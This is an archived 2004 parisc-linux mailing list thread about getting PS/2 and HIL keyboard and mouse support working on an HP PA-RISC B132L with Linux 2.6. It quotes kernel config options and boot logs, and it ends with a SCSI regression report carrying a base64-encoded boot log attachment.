FWIW: I had mouse support and I had keyboard support.  Just not at the
same time unfortunately.  So in general it works at least.  The
configuration is a bit non-intuitive since you'll have to enable
HIL_KBD and AT_KBD.  However, logically it makes sense.

> > > So far I thought that you cannot attach a PS/2 mouse to a HIL adapter,
> > > you can only attach HIL devices ... (at least this is the case for my 730)
> > 
> > Well, at least physically this is possible.  I haven't tried to use
> > that combination, though, since I have the original mouse and
> > keyboard as well.  However, I could give it a try once I find a
> > working config combination.
> 
> Yes, please.

I'll connect a regular PC PS/2 mouse once I have mouse support again.
PS/2 keyboard works fine.

Regards,

	Joey

-- 
Life is too short to run proprietary software.  -- Bdale Garbee


From - Thu Nov 08 21:31:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@infodrom.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Sun, 14 Mar 2004 21:47:04 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <20040314204704.GG9104@finlandia.infodrom.north.de>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<200403091103.29310.deller@gmx.de>
	<20040314073706.GA28440@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416623269 6592 80.91.229.3 (22 Nov 2014 02:27:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: joey@infodrom.org  Sun Mar 14 13:57:08 2004
Return-Path: <joey@infodrom.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from luonnotar.infodrom.org (luonnotar.infodrom.org [195.124.48.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57BA248BA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 13:57:08 -0700 (MST)
Original-Received: by luonnotar.infodrom.org (Postfix, from userid 10)
	id 4B6CB366B70; Sun, 14 Mar 2004 21:56:30 +0100 (CET)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from infodrom.org by finlandia.Infodrom.North.DE via smail from stdin
	id <m1B2cVk-000pzIC@finlandia.Infodrom.North.DE>
	for parisc-linux@lists.parisc-linux.org;
	Sun, 14 Mar 2004 21:47:04 +0100 (CET) 
Content-Disposition: inline
In-Reply-To: <20040314073706.GA28440@finlandia.infodrom.north.de>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 20:57:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21082

Martin Schulze wrote:
> > > # Input Device Drivers
> > > #
> > > CONFIG_INPUT_KEYBOARD=y
> > > # CONFIG_KEYBOARD_ATKBD is not set
> > 
> > Please enable this one (CONFIG_KEYBOARD_ATKBD), and....
> > 
> > > # CONFIG_KEYBOARD_SUNKBD is not set
> > > # CONFIG_KEYBOARD_XTKBD is not set
> > > # CONFIG_KEYBOARD_NEWTON is not set
> > > CONFIG_KEYBOARD_HIL=y
> > > CONFIG_INPUT_MOUSE=y
> > > # CONFIG_MOUSE_PS2 is not set
> > 
> > this one too.
> > 
> 
> For what it's worth, these settings don't activate my keyboard,
> but... tadam...  the mouse is recognised, finally.  However, if

That must have been a strange accidential coincidence, since I haven't
been able to use the mouse again but the keyboard worked as expected.
I'm totally puzzled at the moment.

Keyboard: yes
Mouse: no

CONFIG_INPUT=y
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=y
CONFIG_MOUSE_HIL=y
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=y
CONFIG_SERIO_GSCPS2=y

Anything missing?

If anybody is interested, here's the kernel config
http://luonnotar.infodrom.org/~joey/config

FWIW, without CONFIG_KEYBOARD_ATKBD (in connection to CONFIG_KEYBOARD_HIL)
the keyboard is dead as a doornail, hint-thanks go to Helge.

Here's what the kernel says during boot:

mice: PS/2 mouse device common for all mice
serio: GSC PS2 keyboard port at 0xf0108000 irq 69 @ parisc2:0:11
input: AT Raw Set 2 keyboard on parisc2:0:11
serio: GSC PS2 mouse port at 0xf0108100 irq 69 @ parisc2:0:12

That would make me think that the mouse is detected, though.

It also says lots of:
HP SDC: Transaction add failed: transaction already queued?
I guess this has nothing to do with the mouse problem.

Regards,

	Joey

-- 
Life is too short to run proprietary software.  -- Bdale Garbee


From - Thu Nov 08 21:31:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@infodrom.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Sun, 14 Mar 2004 21:49:59 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <20040314204959.GA32470@finlandia.infodrom.north.de>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<200403091103.29310.deller@gmx.de>
	<20040314073706.GA28440@finlandia.infodrom.north.de>
	<200403142048.27506.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416623269 6595 80.91.229.3 (22 Nov 2014 02:27:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: joey@infodrom.org  Sun Mar 14 13:57:08 2004
Return-Path: <joey@infodrom.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from luonnotar.infodrom.org (luonnotar.infodrom.org [195.124.48.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A651490B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 13:57:08 -0700 (MST)
Original-Received: by luonnotar.infodrom.org (Postfix, from userid 10)
	id 5A2EE366B73; Sun, 14 Mar 2004 21:56:30 +0100 (CET)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from infodrom.org by finlandia.Infodrom.North.DE via smail from stdin
	id <m1B2cYZ-000pzMC@finlandia.Infodrom.North.DE>
	for deller@gmx.de; Sun, 14 Mar 2004 21:49:59 +0100 (CET) 
Content-Disposition: inline
In-Reply-To: <200403142048.27506.deller@gmx.de>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 20:57:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21083

Helge Deller wrote:
> On Sunday 14 March 2004 08:37, Martin Schulze wrote:
> > > In the latest 2.6 kernel series, we switched from a parisc-only
> > > PS/2 mouse/keyboard driver to the standard linux kernel PS/2
> > > mouse keyboard drivers.
> > 
> > Makes sense.  However, would it be useful to add this to the config
> > help texts?  Same for the dependency of a HIL mouse to the MOUSE_PS2,
> > if HIL always takes PS/2 mice.  I know this is not the case in general,
> > since my 425 uses HIL but doesn't use PS/2, but then again, it's m68k
> > and not parisc.  However, it may be the case on PA-RISC, I don't know.
> > In that case it may make sense to rearrange the ordering and move
> > MOUSE_HIL up so it can pre-select MOUSE_PS2.
> > 
> > Anyway, here's a short improvement for the MOUSE_PS2 help text:
> > 
> > --- Kconfig.orig	Sun Mar 14 08:27:51 2004
> > +++ Kconfig	Sun Mar 14 08:31:18 2004
> > @@ -22,7 +22,8 @@
> >  	  Say Y here if you have a PS/2 mouse connected to your system. This
> >  	  includes the standard 2 or 3-button PS/2 mouse, as well as PS/2
> >  	  mice with wheels and extra buttons, Microsoft, Logitech or Genius
> > -	  compatible.
> > +	  compatible. This also includes a PS/2 mouse connected to your HIL
> > +	  hub on PA-RISC.
> >  
> >  	  Synaptics TouchPad users might be interested in a specialized
> >  	  XFree86 driver at:
> 
> Hi Joey
> 
> I don't know if this makes sense to be too verbose here....
> "...a PS/2 mouse connected to your system..." looks pretty ok, independed
> if it is connected to a HIL hub or not.

Well, if you *know* that it's a PS/2 mouse and PS/2 keyboard, you're
correct.  However, does everybody know that who gets hold of a PARISC
machine fully equipped with HIL hub and stuff?  Maybe it's just me
who hasn't expected that since the old (really old) machines didn't
use pc standard equipment and since PA machines usually use different
parts.  You choose since you're more familiar with the port.

Regards,

	Joey

-- 
Life is too short to run proprietary software.  -- Bdale Garbee


From - Thu Nov 08 21:31:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Sun, 14 Mar 2004 22:19:00 +0100
Lines: 131
Approved: news@gmane.org
Message-ID: <200403142219.00823.deller@gmx.de>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<200403142055.12668.deller@gmx.de>
	<20040314202825.GF9104@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623269 6596 80.91.229.3 (22 Nov 2014 02:27:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Martin Schulze <joey@infodrom.org>
Original-X-From: deller@gmx.de  Sun Mar 14 14:19:04 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 857B048BA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 14:19:03 -0700 (MST)
Original-Received: (qmail 11053 invoked by uid 65534); 14 Mar 2004 21:19:01 -0000
Original-Received: from pD9040207.dip.t-dialin.net (EHLO p100) (217.4.2.7)
	by mail.gmx.net (mp004) with SMTP; 14 Mar 2004 22:19:01 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <20040314202825.GF9104@finlandia.infodrom.north.de>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 21:19:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21084

Hi Martin,

On Sunday 14 March 2004 21:28, Martin Schulze wrote:
> > I think the main question here is which type of keyboard you have.
> > Either it's a HIL keyboard (with the special HIL connector), or it's a 
> > PS/2 keyboard.
> 
> It's HP A2840-60201 (according to the plate on the bottom).  It's
> connected to a HIL hub with a PS/2 like connector.  The HIL hub is
> connected to the machine with an RJ45 (like) connector.
> 
> The keyboard onlyworks with these three set:
> 
> CONFIG_INPUT_KEYBOARD=y
> CONFIG_KEYBOARD_ATKBD=y
> CONFIG_KEYBOARD_HIL=y

CONFIG_KEYBOARD_ATKBD and CONFIG_KEYBOARD_HIL
have nothing to do with each other. Reading your reply below,
it seems, that you will only need CONFIG_KEYBOARD_ATKBD.
I think, the HUB is only used to "transport" the PS/2 signals to your computer,
and uses some cables inside the HIL cable.

> > My 715/64 for example has a HIL HUB too, and here the mouse and
> > keyboard are 100% HIL only devices.
> 
> I can connect a regular PC PS/2 keyboard to the HIL hub and it'll
> work.  I have an obscure PS/2 keyboard as well, which produces
> 'failure initializing keyboard' or something alike.  Now that I look
> at the keyboard more closely, it's really a strange one, dunno where I
> got *that* one from.  Anyway, regular PS/2 works fine.  HP keyboard
> works fine as well.

Yup, then it's definitively a PS/2 keyboard.

> > AFAIK, there are other HIL Hubs too, which provides original PS/2
> > ports and HIL ports. So, which kind of connector does your keyboard has ?
> 
> Looks like I need to take picture.  Ah, found one:
> <http://www.schrotthal.de/hp/hp_hil_ps2_hub.jpg> That's the HIL hub,
> named HIL PS/2 hub, well.  I also have a very old HIL hub without PS/2
> (like) jacks, but that's for an entirely different machine and
> generation.

Yes. My HUB has only HIL connectors and is for a 715/64.
 
> > Serial mice should work. I didn't tested it for some time now, but if
> > it's broken I would like to know.
> 
> I'll have to retry that as well.

Ok.

> > But it's strange, that your PS/2 mouse works then... I'm confused.
> 
> Don't be confused, it doesn't work anymore.

I would be interested in your dmesg log.
Mine (HIL only!) looks like this:

mice: PS/2 mouse device common for all mice
serio: GSC PS2 keyboard port at 0xf0108000 irq 69 @ parisc2:0:11
gscps2.c: timeout - could not write byte 0xed
gscps2.c: sending byte 0xed failed.

-> OK, since I only have a HIL keyboard.

serio: GSC PS2 mouse port at 0xf0108100 irq 69 @ parisc2:0:12
gscps2.c: timeout - could not write byte 0xed
gscps2.c: sending byte 0xed failed.

-> OK, since I only have a HIL mouse.

HP SDC: HP SDC reports successful PUP.
HP SDC: HP SDC at 0xf0201000, IRQ 126 (NMI IRQ 125)
HP SDC: New style SDC
HP SDC: Revision: 1820-4784
HP SDC: TI SN76494 beeper present
HP SDC: OKI MSM-58321 BBRTC present
HP SDC: Spunking the self test register to force PUP on next firmware reset.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.

-> OK, the HIL stuff is detected. (BTW, test this after power-cycling the machine!)

and then nearly at the end of dmesg:
HIL KEYB: HIL keyboard found (did = 0xcf, lang = german)
input: HIL keyboard, ID: 207
HIL PTR: HIL pointer device found (did: 0x68, axis: relative)
HIL PTR: HIL pointer has 3 buttons and 1 sets of 2 axes
input: HIL pointer device (HIL mouse), ID: 104

This is now HIL keyboard and HIL mouse.
So my HIL mouse is detected, but doesn't seem to work yet.... :-( 
 
> > I'm not sure right now about the status of the HIL keyboard/mouse driver, e.g.
> > if it works or not in the 2.6 kernel series...
> 
> FWIW: I had mouse support and I had keyboard support.  Just not at the
> same time unfortunately.  So in general it works at least.  The
> configuration is a bit non-intuitive since you'll have to enable
> HIL_KBD and AT_KBD.  However, logically it makes sense.

No. You should disable HIL_KBD (but it doesn't hurt either).

> > > > So far I thought that you cannot attach a PS/2 mouse to a HIL adapter,
> > > > you can only attach HIL devices ... (at least this is the case for my 730)
> > > 
> > > Well, at least physically this is possible.  I haven't tried to use
> > > that combination, though, since I have the original mouse and
> > > keyboard as well.  However, I could give it a try once I find a
> > > working config combination.
> > 
> > Yes, please.
> 
> I'll connect a regular PC PS/2 mouse once I have mouse support again.
> PS/2 keyboard works fine.

As said above: Hard Power-cycle the machine before each test!
Furthermore you might try to increase the value of mdelay(6); in line 168
in file linux-2.6/drivers/input/serio/gscps2.c...
Maybe it's a timing issue ?

This is what you should have in your .config:
CONFIG_SERIO_GSCPS2=y
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=y

Helge


From - Thu Nov 08 21:31:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Sun, 14 Mar 2004 22:24:54 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <200403142224.54035.deller@gmx.de>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<20040314073706.GA28440@finlandia.infodrom.north.de>
	<20040314204704.GG9104@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623270 6598 80.91.229.3 (22 Nov 2014 02:27:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:50 +0000 (UTC)
Cc: Martin Schulze <joey@infodrom.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sun Mar 14 14:25:00 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id D2D0E48BA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 14:24:59 -0700 (MST)
Original-Received: (qmail 14280 invoked by uid 65534); 14 Mar 2004 21:24:58 -0000
Original-Received: from pD9040207.dip.t-dialin.net (EHLO p100) (217.4.2.7)
	by mail.gmx.net (mp009) with SMTP; 14 Mar 2004 22:24:58 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <20040314204704.GG9104@finlandia.infodrom.north.de>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 21:25:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21085

On Sunday 14 March 2004 21:47, Martin Schulze wrote:
> That must have been a strange accidential coincidence, since I haven't
> been able to use the mouse again but the keyboard worked as expected.
> I'm totally puzzled at the moment.
> 
> Keyboard: yes
> Mouse: no
> 
> CONFIG_INPUT=y
> CONFIG_INPUT_MOUSE=y
> CONFIG_MOUSE_PS2=y
> CONFIG_MOUSE_HIL=y
> CONFIG_SERIO=y
> CONFIG_SERIO_SERPORT=y
> CONFIG_SERIO_GSCPS2=y
> 
> Anything missing?

CONFIG_INPUT_KEYBOARD=y, but it seems you just forgot to add it to this list.

> Here's what the kernel says during boot:
> 
> mice: PS/2 mouse device common for all mice
> serio: GSC PS2 keyboard port at 0xf0108000 irq 69 @ parisc2:0:11
> input: AT Raw Set 2 keyboard on parisc2:0:11
> serio: GSC PS2 mouse port at 0xf0108100 irq 69 @ parisc2:0:12
> 
> That would make me think that the mouse is detected, though.

No, it's not.
I'm missing something like:
"input: Logitech mouse on parisc2:0:12".....

> It also says lots of:
> HP SDC: Transaction add failed: transaction already queued?
> I guess this has nothing to do with the mouse problem.

Disable all HIL/SDC stuff.

Helge


From - Thu Nov 08 21:31:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Sun, 14 Mar 2004 17:31:27 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20040315003127.GA11856@colo.lackof.org>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<200403091103.29310.deller@gmx.de>
	<20040314073706.GA28440@finlandia.infodrom.north.de>
	<200403142048.27506.deller@gmx.de>
	<20040314204959.GA32470@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623270 6604 80.91.229.3 (22 Nov 2014 02:27:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:50 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: Martin Schulze <joey@infodrom.org>
Original-X-From: grundler@lackof.org  Sun Mar 14 17:31:28 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1C224918
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 17:31:28 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id E50BD298099; Sun, 14 Mar 2004 17:31:27 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 11876-04; Sun, 14 Mar 2004 17:31:27 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 51CCC298098; Sun, 14 Mar 2004 17:31:27 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040314204959.GA32470@finlandia.infodrom.north.de>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Mar 2004 00:31:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21086

> Well, if you *know* that it's a PS/2 mouse and PS/2 keyboard, you're
> correct.  However, does everybody know that who gets hold of a PARISC
> machine fully equipped with HIL hub and stuff?  Maybe it's just me
> who hasn't expected that since the old (really old) machines didn't
> use pc standard equipment and since PA machines usually use different
> parts.  You choose since you're more familiar with the port.

Well, maybe it would be better to make this a FAQ on the parisc-linux
web site?

grant


From - Thu Nov 08 21:31:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SCSI broken in latest CVS changes
Date: Mon, 15 Mar 2004 03:03:21 +0000 (GMT)
Lines: 218
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0403150256180.17258@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED;
	BOUNDARY="-275789367-115821417-1079319801=:17258"
X-Trace: ger.gmane.org 1416623270 6608 80.91.229.3 (22 Nov 2014 02:27:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: xam@cs.ucc.ie  Sun Mar 14 20:03:24 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 258AF4856
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 20:03:23 -0700 (MST)
Original-Received: from sal.ucc.ie (xam@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i2F33M5a026809
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Mar 2004 03:03:22 GMT
X-X-Sender: xam@sal.ucc.ie
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Mar 2004 03:03:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21087

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---275789367-115821417-1079319801=:17258
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi,

I was using a linux-2.6.4-pa2 (CVS, up to and including the following patch:
http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2004-March/033902.html)
which was working fine.

However the later/latest CVS changes obviously broke sym2 SCSI:
It doesn't detect any of the two internal 9 GB LVD-SCSI of my C3k.

I didn't change anything in the config, and I made a "make clean" and
another CVS update just to be sure (my CVS checkout seems to be clean),
and rebuild twice.

Attached my bootlog.


Thanks alot in advance,
  Max
---275789367-115821417-1079319801=:17258
Content-Type: TEXT/plain; charset=iso-8859-15; name="bootlog-2.6.4-pa2.txt"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.58.0403150303200.17258@sal.ucc.ie>
Content-Description: 
Content-Disposition: attachment; filename="bootlog-2.6.4-pa2.txt"

RmlybXdhcmUgVmVyc2lvbiA1LjANCiBEdXBsZXggQ29uc29sZSBJTyBEZXBl
bmRlbnQgQ29kZSAoSU9EQykgcmV2aXNpb24gMQ0KDQotLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0gICAgKGMpIENvcHlyaWdodCAxOTk1LTIw
MDAsIEhld2xldHQtUGFja2FyZCBDb21wYW55LCBBbGwgcmlnaHRzIHJlc2Vy
dmVkIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSANCiAgUHJv
Y2Vzc29yICAgU3BlZWQgICAgICAgICAgICBTdGF0ZSAgICAgICAgICAgQ29w
cm9jZXNzb3IgU3RhdGUgIEkvRCBDYWNoZSAgICAtLS0tLS0tLS0gIC0tLS0t
LS0tICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tICAtLS0tLS0tLS0tLS0tLS0t
LSAgLS0tLS0tLS0tLS0tLSAgICAgICAwICAgICAgNDAwIE1IeiAgICBBY3Rp
dmUgICAgICAgICAgICAgICAgIEZ1bmN0aW9uYWwgICAgICAgICA1MTIga0Iv
MSBNQg0KDQogIENlbnRyYWwgQnVzIFNwZWVkOiAgICAgICAgICAgICAgICAg
ICAxMjAgTUh6DQoNCiAgQXZhaWxhYmxlIG1lbW9yeTogICAgICAgICAgICAg
MTA3Mzc0MTgyNCBieXRlcw0KICBHb29kIG1lbW9yeSByZXF1aXJlZDogICAg
